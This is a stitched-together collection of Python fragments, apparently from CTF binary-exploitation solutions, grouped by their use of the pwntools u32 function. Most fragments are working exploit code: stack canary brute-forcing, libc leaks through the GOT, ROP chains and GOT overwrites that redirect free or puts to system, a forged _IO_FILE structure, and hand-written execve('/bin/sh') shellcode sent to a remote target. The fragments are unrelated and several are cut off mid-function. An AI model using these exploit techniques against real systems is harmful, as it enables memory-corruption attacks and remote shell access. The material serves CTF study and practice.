def hookCode(mu, addr, size, userData): # print ">>> Tracing instruction at 0x%x, instruction size = 0x%x" % (addr, size) funcEntry = 0x400670 funcRet = [0x4006F1, 0x400709] skipList = [0x4004EF, 0x4004F6, 0x400502, 0x40054F] if addr in skipList: mu.reg_write(RIP, addr + size) elif addr == 0x400560: print chr(mu.reg_read(RDI)), mu.reg_write(RIP, addr + size) elif addr == funcEntry: arg0 = mu.reg_read(RDI) rrsi = mu.reg_read(RSI) arg1 = u32(mu.mem_read(rrsi, 4)) if (arg0, arg1) in d: (retVal, retRef) = d[(arg0, arg1)] mu.reg_write(RAX, retVal) mu.mem_write(rrsi, p32(retRef)) mu.reg_write(RIP, 0x400582) else: stack.append((arg0, arg1, rrsi)) elif addr in funcRet: (arg0, arg1, rrsi) = stack.pop() retVal = mu.reg_read(RAX) retRef = u32(mu.mem_read(rrsi, 4)) d[(arg0, arg1)] = (retVal, retRef)
def zero_recv(): magic = recv(1) assert magic == '\xdd' data_length = u32(recv(4), endian='big') #log.info('data_length {}'.format(data_length)) data = recv(data_length) #log.info('data {}'.format(hexdump(data))) data_crc32 = u32(recv(4), endian='big') assert crc.crc_32(data) == data_crc32 #log.info(data.encode('hex')) return zero_unpack(data)
def bruteforce_canary(): padding = 'A' * ExploitInfo.offset_canary leak_canary = '' for x in xrange(ExploitInfo.CANARY_SIZE): count = ExploitInfo.offset_canary + x + 1 log.info("count : %d", count) canary_byte = 0 while canary_byte < 0x100: p = process(ExploitInfo.name) p.clean() p.sendline(str(count)) payload = padding payload += leak_canary + chr(canary_byte) # log.info("len(payload) : %d", len(payload)) log.info("payload : %r", payload) p.clean() p.send(payload) p.wait_for_close() if p.poll() == 0: leak_canary += chr(canary_byte) log.info("current canary: 0x%x", u32(leak_canary.ljust(ExploitInfo.CANARY_SIZE, '\x00'))) break p.close() canary_byte += 1 return leak_canary
def parse_rela_plt(elffile, dynsym): rela_plt = elffile.get_section_by_name('.rela.plt').data() res = [] for idx in range(len(rela_plt) / 0x18): tmp = rela_plt[idx * 0x18 + 12:idx * 0x18 + 16] tmp = u32(tmp) res.append(dynsym[tmp]) return res
def encode_instructions(asm_str): shellcode = pwn.asm(asm_str) if len(shellcode) > 4: pwn.log.error( 'shellcode {shellcode} is too long, shorten it to 4 bytes or less'. format(shellcode=shellcode)) return pwn.u32(shellcode.ljust(4, b'\x00'))
def recv_libc_leak(self, ignore_str=b'', recv_count=4): if len(ignore_str) > 0: self.proc.recvuntil(ignore_str) leak = self.proc.recv(recv_count) leak = pwn.u32(leak.ljust(4, b'\x00')) self.set_libc_offset(leak_function=self.leak_function, leak_address=leak) return leak
def repair_one_file(path): with open(path, "rb") as f: data = f.read() data = bytearray(data) data[0:2] = b"MZ" pe_addr = u32(data[0x3c:0x3c+4]) data[pe_addr:pe_addr+2] = b"PE" return data
def leak(addr): payload = b'y ' + pwn.p32(addr) + b'A' * 4 + pwn.p32(0x8049f08) io.sendline('4') io.recvuntil('Let me check your cart. ok? (y/n) > ') io.send(payload) io.recvuntil('27: ') data = pwn.u32(io.recv(4)) io.recvuntil('> ') return data
def leak_stack(): puts_got = elf.got[b'puts'] io.recvuntil('> ') offset = 0xc8 index = (puts_got - command) // 4 io.sendline(str(index) + 'A' * (60 - len(str(index)) - 1)) data = io.recv(64)[60:] data = pwn.u32(data) return data - offset
def get_data(): pcap = pyshark.FileCapture("ananas.pcapng") """seed""" cap0 = pcap[978] seed = u32(unhexlify(str(cap0.data.data))) """data""" cap1 = pcap[979] cap2 = pcap[981] data = unhexlify(cap1.data.data + cap2.data.data) return seed, list(data)
def _load32_popret(self): from collections import defaultdict leaesp_byte = '\x8d\x64\x24' leaesp_word = '\x8d\xa4\x24' addesp_byte = '\x83\xc4' addesp_word = '\x81\xc4' popr = map(chr, [0x58, 0x59, 0x5a, 0x5b, 0x5d, 0x5e, 0x5f]) popa = '\x61' ret = '\xc3' poprets = defaultdict(list) for data, addr in self.elf.executable_segments(): i = 0 while True: i = data.find(ret, i) if i == -1: break s = [(i, 0)] while len(s) > 0: off, size = s.pop(0) gaddr = addr + off poprets[size].append(gaddr) if data[off - 1] in popr: s.append((off - 1, size + 1)) if data[off - 1] == popa: s.append((off - 1, size + 7)) if data[off - 3:off - 1] == addesp_byte: x = pwn.u8(data[off - 1]) if x % 4 == 0 and x < 128: s.append((off - 3, size + x // 4)) if data[off - 6:off - 1] == addesp_word: x = pwn.u32(data[off - 4]) if x % 4 == 0: s.append((off - 3, size + x // 4)) if data[off - 4:off - 1] == leaesp_byte: x = pwn.u8(data[off - 1]) if x % 4 == 0 and x < 128: s.append((off - 3, size + x // 4)) if data[off - 7:off - 1] == leaesp_word: x = pwn.u32(data[off - 4]) if x % 4 == 0: s.append((off - 3, size + x // 4)) i += 1 self._gadgets['popret'] = dict(poprets)
def find_symbol(pr, canary, num): elf = pwn.ELF(target, False) payload = b'A' * 512 + pwn.p32(canary) + b'B' * 12 payload += pwn.p32(elf.plt['puts']) payload += pwn.p32(elf.sym['win']) payload += pwn.p32(elf.got['puts']) pr.sendlineafter("What number would you like to guess?\n", str(num)) pr.sendlineafter("New winner!\nName? ", payload) pr.readline() pr.readline() return pwn.u32(pr.readline()[:4])
def leak32(self): if len(self.leak[self.lenght:]) > 0: s = self.leak[self.lenght:] if len(s) % 4 == 0: l = [] for x in range(0, len(s), 4): pp = hex(u32(s[x:x + 4])) if len(pp[2:]) % 4 == 0: if len(pp[2:]) == 8: l.append(pp) else: l.append('0x0000' + pp[2:]) else: if len(pp[2:]) < 4: pp = '0x0000' + '0' * (4 - (len(pp[2:]) % 4)) + pp[2:] l.append(pp) else: pp = '0x' + '0' * (4 - (len(pp[2:]) % 4)) + pp[2:] l.append(pp) self.xxx = l else: s = s + '\x00' * (4 - (len(s) % 4)) l = [] for x in range(0, len(s), 4): pp = hex(u32(s[x:x + 4])) if len(pp[2:]) % 4 == 0: if len(pp[2:]) == 8: l.append(pp) else: l.append('0x0000' + pp[2:]) else: if len(pp[2:]) < 4: pp = '0x0000' + '0' * (4 - (len(pp[2:]) % 4)) + pp[2:] l.append(pp) else: pp = '0x' + '0' * (4 - (len(pp[2:]) % 4)) + pp[2:] l.append(pp) self.xxx = l return self.xxx
def load_dump(self): Triton = self.triton log = self.log # Open the dump fd = open(self.dumpfile) data = eval(fd.read()) fd.close() # Extract registers and memory regs = data[0] mems = data[1] gs_8 = data[2] context.arch = 'i386' # Load memory into memoryCache log.debug('Define memory areas') for mem in mems: start = mem['start'] end = mem['end'] log.debug('Memory caching %x-%x' %(start, end)) if mem['memory']: self.memoryCache.append({ 'start': start, 'size': end - start, 'memory': mem['memory'], }) # Make sure to restore gs register first from pwn import u32 self.setreg('gs', regs['gs']) for i in range(7): log.debug('Restore gs[0x%x]' % (i*4)) v = u32(self.getMemory(gs_8 + i*4, 4)) write_gs = ['mov eax, %s' % hex(v), 'mov gs:[%d], eax' % (i*4)] for inst in write_gs: asm_code = asm(inst) instruction = Instruction() instruction.setOpcode(asm_code) instruction.setAddress(0) Triton.processing(instruction) # Load registers into the triton log.debug('Define registers') for reg, value in regs.items(): log.debug('Load register ' + reg) self.setreg(reg, value) return
def parse_dynsym(elffile): dynsym = elffile.get_section_by_name('.dynsym').data() dynstr = elffile.get_section_by_name('.dynstr').data() strlist = ['None'] for idx in range(len(dynsym) / 0x18): if idx == 0: continue else: sym = dynsym[idx * 0x18:idx * 0x18 + 0x18] offset = sym[:4] offset = u32(offset) tmpstr = dynstr[offset:].split('\x00')[0] strlist.append(tmpstr) return strlist
def main(): leak_canary = p32(0x2c567834) if args.RESTART: leak_canary = bruteforce_canary() # Now exploit it! log.success("Const canary: 0x%x", u32(leak_canary)) p = process(ExploitInfo.name) payload = 'A' * ExploitInfo.offset_canary payload += leak_canary payload += 'A' * (ExploitInfo.offset_canary_eip - 4) payload += p32(ExploitInfo.elf.symbols['win']) log.info("payload : %r", payload) count = len(payload) p.clean() p.sendline(str(count)) p.send(payload) print(p.recv(4096))
def third_attempt(remote): length_before_return_address = 0x14 write_address = 0x08048087 payload = b'A' * length_before_return_address + pwn.p32(write_address) remote.send(payload) esp_bytes = 4 bytes_to_receive = 0x14 esp = pwn.u32(remote.recv(esp_bytes)) pwn.info('ESP was %d' % esp) remote.recv(bytes_to_receive - esp_bytes) # Not used # shellcode = pwn.asm(pwn.shellcraft.sh()) # too long, manually reduced below shellcode = pwn.asm( ''' push 0x68 push 0x732f2f2f push 0x6e69622f mov ebx, esp xor ecx, ecx xor edx, edx /* call execve() */ push 11 /* 0xb */ pop eax int 0x80 ''') payload = b'A' * length_before_return_address + \ pwn.p32(esp + length_before_return_address) + \ shellcode assert len(payload) <= 60, len(payload) remote.send(payload) remote.sendline('cat /home/start/flag') pwn.success('Flag is: %s' % remote.recvuntil('\n').rstrip().decode('utf8')) remote.interactive()
def grossLeak(leak, payload): try: # Get what we're interested in. leak = "'$'".join( leak.split("': No such file")[0].split( payload[-4:])[1:]).split("'$'") # Remove empty elements. leak = [l for l in leak if len(l) > 0] # Converting from "\\xx\\xx\\xx" ascrii representation to raw bytes. for i, x in enumerate(leak): if x[0] == '\\': try: leak[i] = ''.join([ "\\{}".format(p).decode("string_escape") for p in x.split('\\') if p != '' ]) except: leak[i] = x leak = ''.join(leak).replace("''", "") except Exception as e: print("Unlucky", e) exit(0) # Finally, unpack raw bytes. return pwn.u32(leak.ljust(4, '\x00')[:4])
n += pwn.p32(0) # no next note n += pwn.p32(2137) # ID 2137 n += pwn.p32(1) # data length 1 n += pwn.p32(GOT_FREE) # data pointing to free@got n += "a" * 40 + "\x00" # timestring # Add a new note with n as data, thereby overflowing the A note memory with # our crafted structure note_add(r, n, False) # Show notes, parse note a content as free@libc menu(r, 1) data = r.recvuntil('\n') for line in data.split('\n'): note = line.split()[2] note = note.split(':')[1] free = pwn.u32(note[:4]) break pwn.log.info('free@libc is 0x{:08x}'.format(free)) ## STEP 2 - override free@got with system@got r = connect() pwn.log.info('Triggering GOT override') # Add a few notes with our CMD as the content (the CMD buffer will then be # free()'d, so system()'d after our GOT override NUM_NOTES = 3 for i in range(NUM_NOTES): pwn.log.info("Adding note {} of {}".format(i + 1, NUM_NOTES)) note_add(r, CMD, False) time.sleep(1)
def u32(b): return pwn.u32(b)
con.sendline("3") con.sendline("2") con.sendline("156") con.sendline("/bin/sh\x00" + "D" * 144 + p32(FREE_GOT)) # display user 2 # displaying the user to leak the address of free, and then calculate the libc base (its changing every run) con.sendline("2") con.sendline("1") con.recvuntil("description:") con.recvuntil("description:") con.recvuntil("description:") con.recvuntil("description:") leak = u32(con.recvuntil("0:")[1:5]) libc_base = leak - FREE_GOT_OFFSET print "leaked free(): 0x{:08x}".format(leak) print "leaked libc base: 0x{:08x}".format(libc_base) # change user 2 # we acutally overwriting the GOT table entry of free to system, because we overwrited the pointer con.sendline("3") con.sendline("1") con.sendline("4") con.sendline(p32(libc_base + SYSTEM_LIBC_OFFSET)) # then just trigger delete, that use free, but actually calling to system with pointer to what to "free" so calling: # system("/bin/sh") :) con.sendline("1")
a = open("libvault.so", "rb").read() off = 0x1720 data1 = a[off:][:128] key = "Love" res = [0] * 128 for i in range(0, 128, 2): res[i] = chr(ord(data1[i]) ^ ord(key[i & 2])) res[i + 1] = chr(ord(data1[i + 1]) ^ ord(key[(i + 1) & 3])) res = "".join(res) print(len(res)) key = "" for i in range(0, 0x20): curval = 0 for j in range(4): curval ^= ord(res[4 * i + j]) key += chr(curval) print(key) print(key.encode("hex")) ciphertext = a[0x1620:0x16d0] ct = "" for i in range(0, len(ciphertext), 4): curval = u32(ciphertext[i:i + 4]) ct += chr(curval) print(ct.encode("hex"))
elf = pwn.ELF('./hash') libc = pwn.ELF('/lib/i386-linux-gnu/libc.so.6') # leak libc address ropgadget = ''.join( map(pwn.p32, [elf.plt['puts'], elf.sym['main'], elf.got['getchar']])) payload = 'A' * 512 + pwn.p32(canary) + 'A' * 8 + pwn.p32( elf.sym['g_buf']) + ropgadget payload = b64encode(payload) io.recvuntil('Encode your data with BASE64 then paste me!') io.sendline(payload) io.recvuntil('MD5(data) : ') io.recvline() # calculate system and find '/bin/sh' libc_getchar = pwn.u32(io.recv(4)) base = libc_getchar - libc.sym['getchar'] libc_system = base + libc.sym['system'] addr_shell = base + next(libc.search('/bin/sh')) ''' second round ''' io.recvuntil('Are you human? input captcha : ') captcha = io.recvline() io.send(captcha) # calculate canary canaryio = pwn.process('./canary') canaryio.sendline(captcha) canary = int(canaryio.recvline()) canary = int2uint(canary) # turn signed int to unsigned int
def toaddr((host, port)): import socket return '%08X:%04X' % (pwn.u32(socket.inet_aton(host)), port)
def get_value(self): if len(self._value) <= 4 and not self.is_special_mem(): return u32(self._value.ljust(4, '\x00')) else: return self._value
def pwn(self): pwn.log.info("Starting pwning...") self.elf.address = self.get_leak("a" * 8) - 0x1090 self.libc.address = self.get_leak("a" * 16) - 0x3e82a0 system = self.libc.symbols['system'] ch = self.elf.symbols['ch'] _IO_file_jumps = self.libc.symbols['_IO_file_jumps'] _IO_str_overflow_ptr = _IO_file_jumps + 0xd8 _IO_2_1_stderr_ = self.libc.symbols['_IO_2_1_stderr_'] sh = next(self.libc.search(b"/bin/sh")) print("SH: ", sh) self.set_name(b'AAAA') readable = self.elf.symbols['numbers'] fake_file = pwn.flat([ pwn.p64(0), # flags pwn.p64(readable), # _IO_read_ptr pwn.p64(readable), # _IO_read_end pwn.p64(readable), # _IO_read_base pwn.p64(0), # _IO_write_base pwn.p64((sh - 100) // 2), # _IO_write_ptr * pwn.p64(readable), # _IO_write_end pwn.p64(0), # _IO_buf_base pwn.p64((sh - 100) // 2), # _IO_buf_end * pwn.p64(0), # _IO_save_base pwn.p64(0), # _IO_backup_base pwn.p64(0), # _IO_save_end pwn.p64(0), # _IO_marker pwn.p64(_IO_2_1_stderr_), # _IO_chain pwn.p32(3), # _fileno pwn.p32(0), # pwn.p64(readable), # _IO_lock_t pwn.p64(0), pwn.p64(readable), pwn.p64(0), pwn.p64(0), pwn.p64(0), pwn.p64(0), pwn.p64(0), pwn.p64(0), pwn.p64(0), pwn.p64(0), pwn.p64(0), pwn.p64(_IO_str_overflow_ptr - 0x10), pwn.p64(system) ]) pwn.log.info("binary @ %s" % hex(self.elf.address)) pwn.log.info("ch @ %s" % hex(ch)) pwn.log.info("libc @ %s" % hex(self.libc.address)) pwn.log.info("system @ %s" % hex(system)) pwn.log.info("_IO_file_jumps @ %s" % hex(_IO_file_jumps)) pwn.log.info("/bin/sh @ %s" % hex(sh)) n = 64 self.set_n_subjects(n) size = 8 chunks = [ fake_file[i:i + size] for i in range(0, len(fake_file), size) ] for chunk in chunks: n -= 2 lo = self.convert_to_float(pwn.u32(chunk[0:4])) hi = self.convert_to_float(pwn.u32(chunk[4:8])) self.add_subject(lo) self.add_subject(hi) while n > 0: self.add_subject(0.0) n -= 1 #raw_input("a") lo = self.convert_to_float(ch & 0xffffffff) self.add_subject(lo)
def d2s (i): res = i & 0xffffffff if res > 0x7fffffff: res = (-0x100000000 + res) return res def intbracket (s): res = 0 for c in s: res = d2s(res * 10 + b2s(c) - 0x30) return res def get_random_zero (i): return ''.join([choice(zeros).encode('utf-8') for _ in xrange(i)]) target1 = pwn.u32("/bin") & 0xffff0000 target2 = pwn.u32("/sh\x00") & 0xffff0000 for aux in xrange(len(digits) / 10): for i in zeros: for j in xrange (100000): for k in range (10): #raw = (intbracket(i.encode('utf-8') + "0"*k + str(j))) & 0xffffffff raw = (intbracket(i.encode('utf-8') + "0"*k + str(j/10) + digits[j%10 + 10*aux].encode('utf-8'))) & 0xffffffff if (raw & 0xffff0000) == target1: #print i.encode('utf-8') + "0"*k + str(j) print i.encode('utf-8') + "0"*k + str(j/10) + digits[j%10 + 10*aux].encode('utf-8') print hex(raw) if (raw & 0xffff0000) == target2: #print i.encode('utf-8') + "0"*k + str(j) print i.encode('utf-8') + "0"*k + str(j/10) + digits[j%10 + 10*aux].encode('utf-8')
def test_matching(): assert u32(fmtStr[elf.symbols['myVar']]) == get_myVar()
add_note(24, 'AAAAAAA') add_note(24, 'BBBBBBB') delete_note(1) delete_note(0) # write data to ptr[1] puts_func = 0x804862b puts_got = elf.got[b'puts'] data = pwn.p32(puts_func) + pwn.p32(puts_got) add_note(8, data) # leak system address leak = print_note(1) puts_libc = pwn.u32(leak) libc_base = puts_libc - libc.sym[b'puts'] system_libc = libc_base + libc.sym[b'system'] # write data to ptr[1] again delete_note(2) data = pwn.p32(system_libc) + b';sh' # get rid of junk value add_note(8, data) # print_note(1) without `io.recvuntil(':')' and `return io.recvline()' io.recvuntil(':') io.sendline('3') io.recvuntil(':') io.sendline('1') io.interactive()
1. leak libc address 2. change putchar to main """ payload = b'' payload += shift_left(now - elf.got[b'setvbuf']) payload += read_data(4) payload += shift_right(elf.got[b'putchar'] - now) payload += write_data(4) payload += b'.' io.sendline(payload) sleep(1) io.send(pwn.p32(elf.sym[b'main'])) get = io.recv(4) setvbuf_addr = pwn.u32(get) libc_addr = setvbuf_addr - libc.sym[b'setvbuf'] """ overwrite: memset -> gets fgets -> system """ io.recvuntil('[ ]\n') now = elf.sym[b'tape'] payload = b'' payload += shift_left(now - elf.got[b'memset']) payload += write_data(4) payload += shift_left(now - elf.got[b'fgets']) payload += write_data(4) payload += b'.'